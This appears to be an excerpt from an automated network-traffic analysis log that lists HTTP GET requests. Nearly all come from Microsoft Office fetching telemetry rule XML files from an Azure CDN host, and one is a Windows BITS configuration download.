Source: global traffic HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
